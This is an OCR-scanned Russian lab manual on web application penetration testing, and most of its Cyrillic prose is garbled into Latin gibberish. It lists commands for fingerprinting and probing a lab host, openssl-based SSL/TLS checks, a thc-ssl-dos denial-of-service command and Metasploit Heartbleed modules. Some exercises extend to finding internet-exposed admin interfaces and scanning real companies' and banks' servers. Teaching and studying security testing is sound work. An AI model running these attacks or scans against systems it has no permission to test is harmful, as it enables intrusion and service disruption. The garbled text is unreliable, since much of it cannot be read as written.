JIaHHBIN TECT BBIMOJHACTCS TOJBKO JUIsl MPUIIOKEHUN, a3MEIICHHBIX B JIaOOpaTOPHOM
cern. C momomipio ceTeBbix ckaHepoB Nmap u Xprobe BBINOJHHUTE MICHTH()HKAIIUIO
OC BebG-cepBepa:

nmap -O www.test.app.com -vv

Xprobe2 www.test.app.com

[ar 6. [TogkmtounTtbest K BeO-cepBepy, Uconb3ys yrunuty Netcat:

nc www.test.app.com 80 OrnpaButs crnemyrommiit GET 3ampoc

GET/HTTP/1.1

Host: www.test.app.com

\n\n

[To 3aromoBkam Server wu X-Powered-By ompenenuts mporpaMMHOe
oOecrieueHue, peanusyroiiee Be0-cepBep U PpaiMBOPK BEONPUIIOKEHHUS.

B Opaysepe ycranoButh pacmupenue Wappalyzer, mepeiitu no aapecy BeO-
NPWIOKEHUSI U MPOAHATU3UPOBATh MH(OOPMAIMI0O O KOMIIOHEHTAaX BEO-NPUIIOKEHUS
noay4ennoe yepes Wappalyzer.

Hlar 7. C momomipio ckanepa BeO-cepBepoB Httprint (muctpubytus Backtrack)
i Httprecon (OC Windows) BBITTOJIHUTE UACHTH(UKAIIMIO BeO-cepBepa:
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cd /pentest/enumeration/web/httprint/linux

Jhttprint -h www.test.app.com -s signatures.txt

C mnomompro ckanepa WafwO0Of mnpoeputs Hanmmume y BeONPHIIOKEHHUS
noacuctemol WAF:

cd /pentest/web/waffit

python ./wafwOQO0f.py http://www.test.app.com

python ./wafwOQO0f.py https://www.test.app.com

[Iar 8. BeIMOJHUTH TECThl MO UACHTU(DUKALMY MOAIEPKUBAEMBIX BeO-cepBEPOM
HTTP-meronos. JIjist 3Toro He0o6X0 MO OTIPaBUTh ¢ TomoIbio Burp Suite mim Netcat
3anpoc CIEIYIONIEro BUIA:

OPTIONS / HTTP/1.1 Host: www.test.app.com \r\n

[IpoBepuTh, MOAIEPKUBAET JIU CEpBEp 00pPaObOTKY 3ampOCOB C MPOU3BOIBHBIMU
METOaMHU:

DOGS/HTTP/1.1

Host: www.test.app.com

\r\n

Ecmm BeG-cepBep mommepkuBaeT merom TRACE, To 3To MOXeET mpHWBECTH K
ysi3BUMOcTH K atake Cross-Site Tracing (XST). s mpoBepkH IMOMICPKKH BeO-
cepsepoM Metoabl TRACE otnpaBuTh 3ampoc

TRACE /HTTP/1.1

Host: www.test.app.com

\r\n

Be6-cepep momnepxkuBaer meton |RACE u moreHImansHO ysSI3BUM K aTake
XST, ecnu moaydeH OTBeTa BUjIa

HTTP/1.1 200 OK Connection: close Content-Length: 39 TRACE / HTTP/1.1
Host: www.test.app.com

Bomnpocs! u 3amanus

Haiitu anmuHHMCTpaTMBHBbIE HMHTEpP(DENChl KOMMYHHMKAIMOHHOTO U CETEBOIO
obopynoBanusi  (Buaeokamepnl,  kommyratopbl  JIBC,  momammme — WIi-Fi
MapIIpyTHU3aTOPHI, U T.1I.), TOAKIIOUYEHHBIE K ceTH THTEepHET.

W3BecTHO, uTO aapec BeO-untepdeiica cuctembr VMWare Horizon View HTML
Access conepxut ctpoky portal/webclient/views/mainUl.html. Haiitu takue cucremsl,
JOCTyIIHBIE U3 ceTH MHTEepHeT.

Omenutsb KomuuecTBO KommyTtatopoB Cisco Catalyst ¢ anMuHUCTpaTHBHBIM BeO-
uHTepdencom, MOIKIIOUYEHHBIM K ceTu HTepHeT.

TecTupoBanue 3aUIIEHHOCTH TPAHCTIOPTHOTO YpoBHS L{ens paGoTsl

[lenpto mnabopaTtopHOl pabOTHI SBISIETCS OOYyYEHHME METOJaM M CPEICTBaM
TECTUPOBAHUS 3alUIIEHHOCTH C1yx)0 SSL/TLS.

Kparkue TeopeTrudeckue CBEACHUS

3ammTa TPaHCIOPTHOTO YPOBHSI BEO-PUIIOKEHUS OCHOBAaHA Ha UCIOJb30BAHUU
MPOTOKOJIOB cemeiicTBa SSL/TLS, nmeronux 3HaUYMTEIbHOE KOJIMYSCTBO MEXaHH3MOB,
GyHKUMIA ¥ TapaMeTPOB 3allUThI, pean3alusa U KOHPUrypalusi KOTOPIX OMpeaeseT B
KOHEYHOM WTOT€ YPOBEHB 3alUIICHHOCTH BeO-mpmiiokeHus. Hecmotps Ha TO, 4TO B
HACTOSIIEe BpPEMs HM3BECTHO MHOTO AaBTOMATH3WPOBAHHBIX CPEICTB TECTUPOBAHUS
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samumieHHocTr SSL/TLS (manpumep, cepsuc Www.ssllabs.com, mporpammer SSLscan
u SSLyze), neranmm wWX peanu3alud, KaK MPaBUIO, HEW3BECTHBI WIA TpPeOYOT
JIOTIOJTHUTEIPHOTO HWCCJIEIOBAHMS, YTO HWHOT/JA HE IO3BOJISAECT MOJHOCTHIO JTOBEPSTH
pesynbTaTaM uxX paboTel. OTHUM U3 HU3KOYPOBHEBBIX W HAACKHBIX CPEICTB
TECTHPOBAHUS 3aIIUIICHHOCTHU CITy>)k0 SSL/TLS siBsiercst kimment OpenSSL.

IlocTranoBKa 3axaun

BBINOMHUTE TeCTHpPOBaHME 3amIuineHHOCTH cioy:k0 SSL/TLS BeOcepBepa
www.test.app.com.

IlocnenoBaTenbHOCTE JEUCTBUN

Hlar 1. Bemoanute 6a3zoBbie npoBepku SSL/TLS. YcTaHOBHTH MOCIETHION
Bepcuto makera OpenSSL. 3amyctuth cereBoit anamusatop Wireshark. BeimonHuTh
TECTOBOE MOJIKIIIOUEHUE K CEepBEPY:

# openssl s client -connect www.test.app.com:443

[TpocMoTpeTh TpaccupoBKYy ycTaHoBkW coenuHeHust B Wireshark. Ompeneauts
CIeAyIoIe  TapaMeTpbl:  Bepcuto  mporokosa  SSL/TLS,  wmcmonb3yemsrit
kpuntorpaduueckuii Habop (Cipher suite), mIuHY OTKpBITOrO KiIO4a CcepBepa,
BKJIIOUCHHE MEXaHM3Ma cxatusi JaHHbiX. OtmpaButh chenytomuii HTTP-3ampoc u
yOeauThCA B MOJIy4YEHUU OTBETA OT cepBepa:

GET/HTTP/1.1

Host: www.test.app.com

[TpoBepuTh MOAZEPIKKY cepBepoM Mexann3ma «Sever Name Indica- tion» (SNI):

openssl s client -connect www.test.app.com:443 -servername Www.test.app.com

[TpocMmoTpeTh TpaccUpoOBKY ycTaHOBKU coenuHeHus B Wireshark B atom ciydae.
[Mognepxka pacmmpenus SNI uaeHTHGUIMPYETCS MyTEM YCTAHOBKH COCIUHEHUS C
omuuerr SNI u 6e3 Hee. Ecnu B oTBeT moisrydeHbl pa3nuusbie cepTuukarsl, 7o SNI
nojiep kuBaeTcs cepsepoM. Ecnn ykazannoe B oniuu SNI uMst HEU3BECTHO, TO KITUEHT
BBIBOJIUT COOOIIICHUE 00 OIIMOKE UK MTPEAYIPEKICHUE.

[lar 2. WnpentuduuupoBaTh Bce NOAIEpKUBacMble MpoTokoiasl SSL/TLS,
BBITIOJTHAB TTOCTIE0BATEIEHO KOMAaH/IbI:

openssl s client -connect www.test.app.com:443 -ssl2

openssl s client -connect www.test.app.com:443 -ssl3

openssl s client -connect www.test.app.com:443 -tls1

openssl s client -connect www.test.app.com:443 -tlsl 1

openssl s client -connect www.test.app.com:443 -tlsl 2

[IpocMoTpeThr TpacCUpPOBKY CKaHHpoBaHusA. Haltu oOTiavuus B CTPYKType
CETEeBBIX COOOIICHMM JIJIs Pa3HBIX BEPCHM MPOTOKOJIA.

lar 3. HWnentudunupoBath kpunrorpaduueckue Habopel (cipher suite),
nmojIep)kKuBaeMble  cepBepoM. IS TONMydeHHs] BCEX IMOJACPKUBACMBIX KIHMCHTOM
Kpunrorpauueckux HaOOpPOB BBIMOJHUTH KOMaHAY s TMpOBEepKH TOMIEPIKKH,
Hanpumep, Habopa AES256-SHA BBINMOTHUTH CIETYIONIYI0 KOMaHY:

openssl s client -connect www.test.app.com:443 -cipher AES256-SHA

[IpoBeputh noAAEpPKKY Kpunrorpadguueckoro Habopa, cojepkaiiero mudp
RC4:

openssl s client -connect www.test.app.com:443 -cipher RC4-SHA
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[IpoBepuTh, YTO MPU YCTAHOBKE 3AMUIIEHHOTO COSTMHEHHS KPUTITOTpadUIeCKHiz
Ha0oOp BHIOMpAETCs B TOPSJIKE, OMPENeieMOM HACTpOWKaMH cepBepa, a He KIMEHTA.
JIist 3TOrO0 W3 COHMCKa MOAMCPKUBACMBIX CEPBEPOM KpHUNTOrpadudIecKux HaOOpOB
BBIGpaTB TPU IIPOU3BOJIbHBIX WU BBIMOJHHUTH KOMAaH/Ibl, HAIIPUMCP:

openssl s client -connect www.test.app.com:443 -cipher 'AES256-
SHA256,AES128-SHA,DES-CBC-SHA'

openssl s client -connect www.test.app.com:443 -cipher 'AES128-
SHA256,AES256-SHA,DES-CBC-SHA'

openssl s client -connect www.test.app.com:443 -cipher 'DES-CBC-
SHA,AES128-SHA ,AES256-SHA256'

[Ipn KOppeKTHOM HACTpoilke BO BCEX cClydasx JOJDKEH ObITh BbIOpaH HabOp
AES256-SHA256.

[TpoBepuTh momiepkky ceppepom Forward Secrecy na ocaose DHE n ECDHE:

openssl s client -connect www.test.app.com:443 -cipher 'ECDHE—RSA-
AES256-SHA384'

openssl s client -connect www.test.app.com:443 -cipher 'DHE—RSA-AES256-
SHA256'

Hlar 4. Jlns ompeneneHuss TOIACPKKH CEpBEPOM MeXaHu3Ma «Session
Resumptiony BBIOJHUTH KOMaHTy

openssl s client -connect www.test.app.com:443 -reconnect

WM €€ MeHee MHPOPMATHUBHBIA BapUAHT

openssl s client -connect www.test.app.com:443 -reconnect | grep 'New\|Reuse'

[lar 5. Jlna uaenTudukanuu MexaHuzMa «Secure Renegotiationy» BBIIOIHHUTE
KOMaHI1y

openssl s client -connect www.test.app.com:443 | grep 'Secure Renegotiation’

[IpocMOTpeTh TPACCUPOBKY CKAaHUPOBAHMS U yOEIUTHCA B MOJJIEPKKE JTAHHOTO
Mexanm3Ma. Ilogaepxka mexanuzma «Secure Renegotiation» cepBepom ompeaensercs
10 HAJIMYMIO pacimupeHus «renegotia- tion_info» B coodmenue ServerHello wim mytem
IIPOCMOTpPa BBIBOJA KOMaH/IbI

openssl s client -connect www.test.app.com:443 -tlsextdebug

Jins uaeHTHHKANUK MOAIEPKKH cepBepoM Mexanmsma «Client- Initiated
Renegotiation» HeoOX0AMMO MOAKIIOUUTHECSA K BeO-cepBepy mo SSL/TLS ¢ momorsio
kimeHTa OpenSSL

openssl s client -connect www.test.app.com:443 u 3aTeM OTIPaBUTh 3aIPOC:

HEAD /HTTP/1.1

Host: www.test.app.com

R

GET/HTTP/1.1

Host: www.test.app.com

R

Ecin cepep He mommepxkuBaet «Client-Initiated Renegotiation», Tto Oyner
BBIBEJICHO cooOleHue 06 ommodke. Eciu cepBep moaepKruBaeT JaHHBIA MEXaHU3M, TO
cepBep OTIPABUT KIMEHTY CHOBA CBOM CEPTH(PHKATHI.

[Momnepxkka wmexanusma  «Client-Initiated  Renegotiation» Moxxer  OBITH
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WCIIOJIh30BaHA JJIsl peaju3alii B OTHOIIEHWU BeO-cepBepa DOS- araku, Tak Kak mpu
KQKJIOM YCTAaHOBJICHUHM COSIMHEHUSI CEPBEP BBIHYKJICH TPATHTh CYIIECTBEHHO OOJIbIIE
BBIYMCIIUTEILHBIX PECYPCOB Y€M KITHCHT.

YtoOBl MPOBEPUTH BO3MOXKHOCTH peanm3anuu DO0S-aTakw, MOXHO MPOBEPHTH,
CKOJIBKO pa3 KJIMEHT MOXET HWHHIIMHPOBATh Iiepecoriaco- BaHue (renegotiation)
KpUNTOrpauuecKnx napaMeTpoB:

GET/HTTP/1.1

Host: www.test.app.com

000D

Jlpyroii croco® TecTHpoBaHUs - WCHONBb30BaHWe 3Kcrutonta thc-ssl- dos [6],
HaIpuMep:

# thc-ssl-dos —accept 192.168.1.1 443

[ar 6. IlpoBeputs Hamuume ys3BuMocTH K atake «BEAST». Jlamnas araka
UCIIONIB3YET HEAOCTaTKM OyouHbiX mmdpoB, padotaromux B pexmme CBC, u
CYIIECTBYET BO BCeX Bepcusax mpoTokojoB SSL/TLS mo Bepcum TLS 1.1. Jlns Toro
yTOOBI 3amMTUTHCS OT ataku BEAST, neobxoaumo ucnonb3oBath mmdp RC4 wnu
npotokon TLS Bepcuu 1.1 u crapme. C apyroit ctoponsl, mudp RC4 B HacTosiee
BpeMs CUHMTAaeTCsl HEeOE30IaCHbIM, MOATOMY €r0 HCIOJb30BaHUE HEXKeIaTeslbHO. [[is
sammThel OT atraku BEAST Ha mpaktrke mpemmaraercs JiBa MOJXO0Ja: MEPBBIM U3 HUX
HocuT HasBaHume «Ctporoe ocnabiaenue» (Strict mitigation) u mnpenmonaraet
UCToNib30BaHue mpoTokoia TLS Bepcun 1.1 u crapine co BceMu KJIMEHTaMH, KOTOPBIE
€ro TOJACP)KUBAIOT; BTOpoW moaxoa HasbBaercs «lIpuopuresamus RC4» (RC4
prioritization) u 3akaro4yaeTcs B moBbIIICHHH npuoputeTa mmdpa RC4A nns kimeHToB,
noIIepKUBAOIUX TOJbKO TpoTokonsl SSL 2.0, SSL 3.0 u TLS 1.0. Takum o6pazom,
HeoOxoaumo yoenutbes, uTo kimeHThl SSL 3.0 wmm TLS 1.0, He mommepkuBaromntue
mmdp RC4, He cMOTYT yCTaHOBUTH COSAMHEHHUE:

openssl s client -connect www.test.app.com:443 -no ssl2 -no tlsl 1 -no tlsl 2 -
cipher 'ALL:!IRC4'

WIM 4TO KIMEHTHl, momnepxuBatomue mudp RC4, ycTaHOBAT coeawHEHHE,
UCIIONIB3YSI €TO

openssl s client -connect www.test.app.com:443 -no ssl2 -no tls1 1 -no tisl 2 -
cipher 'ALL:+RC4'

[lar 7. IIpoBeputh Hamuume ysA3BUMOCTH K aTake «Heartbleed» mo kocBeHHBIM
NpU3HAKaM, a TAKXKe IyTeM UCTIOJIb30BaHUs aKTHUBHBIX TecToB B Metasploit Framework.

[MpocmoTtpets TpaccupoBky B Wireshark u onpenenuts NOACpPKKY pacIupeHust
«Heartbeaty mmociie BBIIIOJIHEHUS KOMAH/IbI

openssl s client -connect www.test.app.com:443 -tlsextdebug

[TpoBepuTh moOAMEPIKKY cepBepoM mpoTokoja «Heartbeaty uwepes OpenSSL
ITyTEM BBIMIOJTHEHUS KOMAH/TbI

openssl s client -connect www.test.app.com:443 -tlsextdebug


http://www.test.app.com/
http://www.test.app.com:443/
http://www.test.app.com:443/
http://www.test.app.com:443/
http://www.test.app.com:443/

Ecin cepBep He Bo3BpamiaeT B COOOIMIEHUAX TaHHBIC 0 pacmupennn «Heartbeaty,
TO OH HE YSI3BUM K JIaHHOU aTake.

Jlis Toro 4roOBI MPOBEpUTH, OTBEYAET JIM cepBep Ha 3ampockl Heartbeat,
BBITIOJTHUTH KOMAH/TbI

#openssl s client -connect www.test.app.com:443 -msg

JIJis TIpoBepKH yS3BUMOCTH KiMeHTa (Hampumep, BeO-Opaysepa) xk Heartbleed
aTake MOXKHO YCTaHOBUTh COCJUHEHHE C JIIOOBIM CEpBEPOM H TMPOCMOTPETH
TPACCUPOBKY COCAMHCHUSI.

PaccMoTpuM BapuaHT aKTUBHOTO TECTUPOBAHMs (BBIOJIHEHHWE aTaKH C
HCIIOJIb30BaHUEM ys3BUMOCTH) B cpeae Metasploit Framework.

JIJis TeCTUPOBAHUS KJIMEHTA BBITIOTHUTH CICAYIONTNE KOMAH/IbI:

msfconsole

use auxiliary/server/openssl heartbeat client memory

show options

run

B BeG-Opaysepe oTkpbITh pecypc Metasploit, oTBeuarommii 3a TecTUpOBaHHE Ha
HaM4Yue ysa3BUMOCTH K atake Heartbleed u mpocMoTpers nupopManuio o pesynbTaTe
TECTUPOBAHUS KIUCHTA.

Jlns  TtectupoBaHus cepBepa B cpene Metasploit Framework BbImonHUTH
CJICTYOIINE KOMaH/IbI:

msfconsole

use auxiliary/scanner/ssl/openss| heartbleed

show options

set RHOSTS www.test.app.com

set RPORT 443

set VERBOSE true

run

C nmomorkto npoekta http ://unlcOrn. net naiiti BeO-cepBephl, YA3BUMBIC K aTake
Heartbleed (B xpaitHeM ciyuae, MOKHO HCIIOJIb30BAaTh TECTOBBIE CEpBEPA, YSI3BUMBIC
atake Heartbleed, nanpumep heartbleed.csr-group.com). IloaTBepanuTh ysS3BHMOCThH K
arake B cpene Metasploit Framework mim ¢ momorisio cepsuca http://ssllabs.com.

[ar 8. [Ipoeputs Hammuue yszBumoctu kK arake «CRIME» mo kocBeHHBIM
npu3HakaM. JlaHHas aTaka OCHOBaHA Ha CXKATHM JaHHBIX Ha ypoBHe SSL/TLS. Jlns
MIPOBEPKHU JOCTATOYHO BHITIOJHUTH KOMAHTY

# openssl s client -connect www.test.app.com:443 -reconnect | grep ‘Compression'

lar 9. Tlpoeputh nHamumume HTTP-3aronoskoB Strict-Transport- Security,
yCTaHaBJIMBAEMbIX Ha CTOpPOHE BeO-cepBepa. Otnpasuth ciuenyromuii HT TP-3anpoc k
BeO-TIpUIIOKECHHIO B Tiporpamme Burp Suite

GET/HTTP/1.1

Host: www.test.app.com

\n\n

HTTP-otBeT noimkeH coaepkaTh 3aroj0BOK CIEAYONIEro BUIA:

Strict-Transport-Security: max-age=31536000;

includeSubDomains
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[TpoBepuTh HAIMYKE CTPAHUI] CO CMEIIAHHBIM KOHTeHTOM (Mmixed- content pages)
- crpanui, goctynHbix mo HTTPS, HO comepkammx pecypchl (KapTHHKH, CKPHIITHI
JavaScript, ¢aitner CSS, MennakoHTEHT), AocTynHble 1Mo npotokoixy HTTP. s storo
cienyeT CKOH(QUTYpHpoBaTh Opaysep i paboThl C TECTUPYEMBIM BEOIPUIIOKEHHEM
yepe3 BeO-nipokcu Burp Suite, B mporiecce paboTHI ¢ BEO-TIPHIIOKEHUEM HEOOXOIMMO BO
Bkiagke HTTP History mpocMoTpeTh UCTOPHIO U YAOCTOBEPHUTHCS, YTO BCE 3aMPOCHI K
cepBepy OTIPABIIIIOTCS TOJBKO 1o npoTokoixy HTTPS.

[TpoBeputh, uTo COOKie, comeprkaliye YyBCTBUTEIBHYIO HWH(POPMAIIHIO, UMEIOT
aTpuOyT Secure, HarpuMmep:

Set-Cookie: Sessionld=371d2sm6cbn3d31a;path=/;secure

[IpoBepUTh, 4TO YyBCTBUTEIBHBIN KOHTEHT HE KAUIUPYETCS HA CTOPOHE KIMEHTA.
3anpelnieHue KIUIMPOBAHUS ONIPEACIISIETCS HATMYUEM

HTTP-3aronoskoB Pragma, Cache-Control wu Expires co creayromumu
PEKOMEHIOBAaHHBIMH 3HAYCHUSIMHU:

Pragma: no-cache

Cache-Control: no-cache, no-store, must-revalidate,

max-age=0

Expires: 0

[TpoBepuTh, YTO MPUIOKESHUE 3aIIUIICHO OT aTaku «SSL Stripping». s storo
HEOOXOJAMMO YOEAHUTHCS, YTO BEO-TIPHIIOKEHUE JOCTYIMHO TOJBKO IO TMPOTOKOITY
HTTPS u He nocTymHO omnuuoHaibHO 1Mo mpoTokosny HTTP wnu B BeO-npusoxkenuu
UCTIOJIBb3yeTCsl  3aroioBok  Strict-Transport-Security (mpu  ycioBHHM  TOrO, 4TO
M0JIb30BaTE b FapaHTUPOBAHHO MOMAIET Ha caiT 1o npoTtokory HTTPS).

[lar 10. Bemonauts TectupoBanune SSL/TLS ¢ wucmosib3oBaHHEM CepBHCa
ssllabs.com.

B Be6-Opay3epe nepeiitu o aapecy

https://www.ssllabs.com/ssltest/index.html, BBecTn moMeHHOEe wWMs cepBepa,
BBITIOJIHUTh ~ CKAHUPOBAHUE, TIPOCMOTPETh M  MPOAHAIM3UPOBATH  TOJyYCHHBIE
PE3yIIbTaTHI.

CpaBHUTH pe3yibTaThl CKAaHUPOBAHHS CEpBEpa C PE3yNbTaTaMH, MOJYYCHHBIMU
MIPH €r0 pyYHOM TECTUPOBAHUMU.

BBIMOTHUTE TECTUpPOBAaHHWE HECKOJIBKUX BeO-KIMEHTOB (Hampumep, BeO-
opaysepos Internet Explorer, Mozilla Firefox, Google Chrome, WhiteHat Security
Aviator, Slunexc bBpayszep, Apple Safari, Opera u t.1.). isg 3TOro B Kaxaom
TECTHpYyeMOM Opay3epe OTKphITh cTpanmity https://www.ssllabs.com/ssltest/index.html,
BBITIOJIHUTHh CKAHUPOBAHKE, POCMOTPETH U MPOAHATN3UPOBATH PE3YyIbTATHI.

Bormpocs! 1 3ananus

[TpoBeputh NPOU3BOJIBHBIN BeO-cepBep, mnoauepxkuBatonmii SSL/TLS, Ha
cootBercTBUE pekomeHarmsm Qualys SSL Labs [7].

Harmmcath CKpWIT, BBITOJHSIONIMA HICHTU(DHUKAIIAIO BCEX IMOAACPKABACMBIX
cepBepoM Kpurrorpapudeckux Habopos SSL/TLS.

[IpockanupoBaTh BeO-cepBepbl 10 M3BECTHBIX KOMMaHHWI, 0AHKOB, ONMEpPaTOpOB
cBsi3u ¢ momonibio cepsuca Ssllabs.com. Ipoananmm3upoBats pe3ysbTaThl.
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2. JlaGopaTopHas padora «TecTupoBaHue 3alIMIIIEHHOCTH MeXaHU3MAa
ynpaBJieHHsI JOCTYIIOM H CeCCHSIMU»

TecTupoBaHue 3aIUIIEHHOCTH MEXaHU3Ma YIPABIICHUSI IOCTYIIOM

[{eas paboThI

[leapto mabGopaTopHOW pPaOOTHI SIBISETCS OOydYEeHHWE METOJaM | CPEeICTBaM
TECTUPOBAHUS 3AIIUIICHHOCTH MEXaHW3Ma YIIPaBJIEHUs JOCTYIIOM B BEO-TIPHIIOKECHUSIX.

Kpatkue TeopeTruueckue cBeAeHUs

OaHUM U3 OCHOBHBIX MEXAaHHU3MOB 3alIUThl COBPEMEHHBIX BEOMPHUIIOKEHUN
ABJISIETCSI MEXAHU3M YIpaBiieHUs A0CTynoM. OOBIYHO BBIACISIOT CIEAYIOIIME ATarbl
yIpaBJICHUA TOCTYIIOM [8]:

— uAeHTU(UKAIMS - YCTAHOBJICHUE UICHTU(PUKAIIMOHHBIX JTaHHBIX;

— ayTeHTH(UKANKS - TTOATBEP)KICHHOE YCTAaHOBJICHHUE UICHTU(DUKAITMOHHBIX
JAHHBIX;

— aBTOpW3alldsi - Ha3HAuYeHWE MpaB HWACHTHU(UKANMOHHBIM HaHHBIM. [lpm
BXoJle B BeO-mpwiokenue (Sign in, log in) monp3oBaTens WACH-
tuduuupyercst (cooliiaer cBol uaeHTU(PUKATOP) U ayTeHTUDUITUPYETCS
(1OKa3bIBAET, YTO OH UMEHHO TOT IMOJb30BaTENb, Y€l UACHTU(UKATOP ObLI
COOOIIIEH).

BoabmMHCTBO BEO-TIPUIIOKEHUN HCIIONB3YIOT ayTeHTHU(UKAIMIO 10 mapoiio. B
BEO-TIPUIIOKEHUSX C BBICOKMM YPOBHEM 3alllMIIIEHHOCTH (Hampumep, B VHTepHeT-
0aHKax) TakKe TMPUMEHSIOTCS MPOTOKOJBI ABYX(AKTOpHON ayTeHTU(DUKAIIH.
O4eBUHBIM HEJOCTATKOM ayTeHTU(UKAIIMK T[I0 MapOJII0 SBIAETCS BO3MOXKHOCTh
MCIIOJIb30BAHUS MApOJiel C MIIOXUMH CTATUCTUYECKUMH XapaKTePUCTUKAMH. XPpaHEHUE
napoJisl WM ero mepeaada Mo KaHajdaMm CBSI3M B OTKPBITOM HIIM JaXke 3amn(pOBAaHHOM
BU/IE TIOTEHITMAIIBHO HECET YTPO3Y PACKPBITHSI TapoJIsl.

TeM He MeHee, COBPEMEHHbBIC 3aIlUIICHHBIC BEO-TIPUIIOKEHUS B OOJIBIIIMHCTBE
CIy4aeB HCIOJB3YIOT TNepenady mnapois B 3allM(pOBaHHOM BHJIE C IOMOIIBIO
npoTokoyioB cemerictBa SSL/TLS, a xpaHeHue mapois B XeHIMPOBaHHOM Buje. [Ipu
ATOM [IJIl XpaHEHUsi NapoJied TOoJb30BaTelied PEKOMEHAYETCS WCIONIb30BaTh HE
KpUnTorpaguueckue x3m-QpyHKIUU o01iero HasHauenus (Hanpumep, SHA niun MD5),
a cnenuanusupoBanusie pynkimu PBKDF2, berypt, scrypt u t.n. Taxoke i XpaHeHusI
napoJjiei HeoOXOJUMO HCIOJIB30BaTh «COJbY, MPEAHA3HAYCHHYIO IS 3aTPyIHEHUS
MIPOBEJICHMSI aTaK 10 CJIOBAPSIM M Pay>KHBIM TaOJIUIIaM.

ABTOpHU3anMsi B BEO-TIPHIIOKECHHUSX MOXKET OBITh OIpEAeNieHa KakK MpOoIiece
MIPOBEPKH TOTO, pa3pelieH WU 3alpelieH 3apoc Ha MOTyYeHUs TOCTYIa MOJIb30BaTeNs
K pecypcy B COOTBETCTBHH C 33JJaHHOM MOJUTHKOMN Oe3onacHocTu. Kak nmpaBuiio, B BeO-
npuioxenusx peanusyercs posieBas (RBAC) wmu atpubythHas (ABAC) monutrka
JIOTUYECKOTO YIPABJICHUSI IOCTYTIOM.

OaHUM W3 METOJIOB TECTUPOBAHHUS BO3MOXXHOCTH TIOJIYYCHHUS TIPUBUIICTHN
JpYroro mojs3oBarens sBigercs nuddepeHnranbablii ananus. Ero uaes 3akmtoyaercs
B UACHTU(DUKAIIMN BCEX BO3MOXKHBIX 3alIPOCOB U cooTBeTCcTBYIONMX UM URL, KOoTOpHBIC
MOKET BBITIOJIHUTHh JaHHBIA TI0Jb30BATENIb. 3aTeM BCE TIOJYYCHHBIE 3aMpOChI
BBITIOJTHSIFOTCSI OT UMEHH JIPYTOTO TOJIb30BaTEIsI BEO-TIPUIIOKEHUS.

MexaHu3M  aBTOpU3allMd  PEKOMEHIYETCS  peaju30BbIBaTh HA  yYPOBHSX



Mpe/ICTaBICHHsI, OM3HEC-IOTUKH U JTAHHBIX BEO-TIPHIIOKEHUSA. Y POBEHb MPEACTABICHUS
- He oToOpaxkaeT (pyHKUMOHaN (Hampumep, (Gopmbl, PperMbl, CCHUIKU, KHOIKH), Ha
KOTOpBIM TOJIb30BaTedb HE MMEET IMpaB JOCTyNa. YPOBEHb OW3HEC-JTOTHKHU
00ecIreynBaeT BBIIOJIHEHUE MPOBEPKH HAIMYMUS COOTBETCTBYIOIIMX IpaB JOCTyIHa 0
BBITIOJTHEHHSI 3allpoca B BEO-TNPWIOKEHUU, T.€. HUKAKUE (PYHKIIMU HE MOTYT OBIThH
BBIIIOJIHEHBI /10 aBTOPHU3alUU (HAIIPUMEP, €CIM MOJb30BATENb OTIPABIISIET 3aIpOC Ha
yliaJieHue YYeTHOU 3aliCH, TO BEO-MPUIIOKEHUE TOJDKHO YO TUTHCS, YTO MOJIb30BATEIh
UMEEeT MpaBO Ha yJaJleHUE YUYETHOM 3alliCU U HE BBINOIHATh HUKAKUX (YHKIUN 0
TOT0, KaK 3TO OYJIeT YCTAaHOBJIEHO). Y POBEHb JaHHBIX 00ECIIEUNBAET MPOBEPKY HATUYHS
npaB JOCTyIa IOJb30BaTEIsl K JaHHBIM, a HE TOJbKO K (DYHKIMOHANy 0O0pabOTKH
JTaHHBIX (HaIpHMep, IoJib3oBareib, ucrnonb3dys URL Buma /delete?record=1, momken
yIalsATh TOJBKO TE€ 3amuCH B 0a3e JaHHBIX, HA KOTOPbIE OH MMEET MpaBO JOCTyNa
DELETE).

[locTtanoBKa 3a1aun

BEINOTHUTE TECTHPOBAHUE 3AIIUIICHHOCTH MEXaHHW3Ma YIPaBICHHS IOCTYIIOM
UCCJIEAYEMOTO BEO-TIPUIIOKEHUS.

ITocnnenoBaTeIbLHOCTE AEHCTBUMN

[ar 1. Hactpouts paboty Opay3epa yepe3 mITaTHBINA MPOKCH- cepBep Burp Suite.
B Be06-Opay3epe OTKpBITh TJIABHYIO CTPAHUIy TECTUPYEMOTO BEO-TIPHIIOKEHUS WWW.
test. app . com.

[Iar 2. 3apeructpupoBatbcsi B BeO-MpuiiokeHUd. [lomyunuTh HASHTHUPUKATOP
YUYETHOM 3amucu MW Tapojib JIOCTynma K BeO-mpuiioxkeHuto. lIpoananuszupoBaTh
MPe/ICKa3yeMOCTh UACHTU(PUKATOPOB MOJIB30BATENEH U, €CIIM 3TO BO3MOKHO, aITOPUTM
Ha3HaueHuss wuneHtudukatopoB. I[lpoaHanu3upoBaTh pealiv30BaHHYIO B  BeO-
NPWIOKEHUU TNapOJibHYI0 MOJUTUKY. OIEHUTh [JOCTYNHYIO CIOXXHOCTh BbIOOpa
napoJiei mosb3oBaTensiMu. ONIMOHANIBHO BBIOJHUTH aTaKy MOJHOTO Mepedopa mapo-
JEeN.

[ar 3. Ilepeiitu 1o ccbuIke JUIsl ayTeHTUPUKAUUU B npuiioxkeHuu. [Ipu stom
HE00X0AMMO YyOeaUThCs, 4TO (popMa ayTeHTU(PUKALIMU JOCTYITHA TOJIBKO MO IPOTOKOITY
HTTPS. Y6enuthcs, uTo BBOJUMBIE MOJI30BATEIEM JIOTUH U MapOJb OTIPABISIFOTCS B
3amudpoBanHOM Buje 1o nporokony HTTPS. Y6enurbcsi, 94To JIOTHMH ¥ Mapojib HE OT-
npaBisroTCs ¢ moMorsio HTTP-merona GET.

[Iar 4. TIpoBepuTh, 4TO B BEO-MPUIIOKEHUN U3MEHEHBI CTaHIaPTHBIE AP0 IS
BCTPOEHHBIX yUYETHBIX 3amuceil. [IpoBepuTh, YTO HOBbIE YUETHBIC 3aIIMCH CO3JAIOTCS C
Pa3TUYHBIMH TTAPOJISIMH.

[Tar 5. IIpoBepuTh BO3MOXKHOCTh WJCHTU(UKAIIMK TOJB30BaTENEe BEO-
MPUIOKEHUS Yepe3 GOPMbI pETUCTPALK, BXOJa U BOCCTAHOBIICHHUSI TAPOJISL.

Jlnst aTOrO ClelyeT BBECTHM HECYIIECTBYIOIEE UMs MOJIb30BaTeNs (Harpumep,
gawsedrf1234) 1 npou3BOJIBHBIN MApPOJIb, @ 3aTEM UM CYIISCCTBYIOIIETO OJb30BaTEIIS
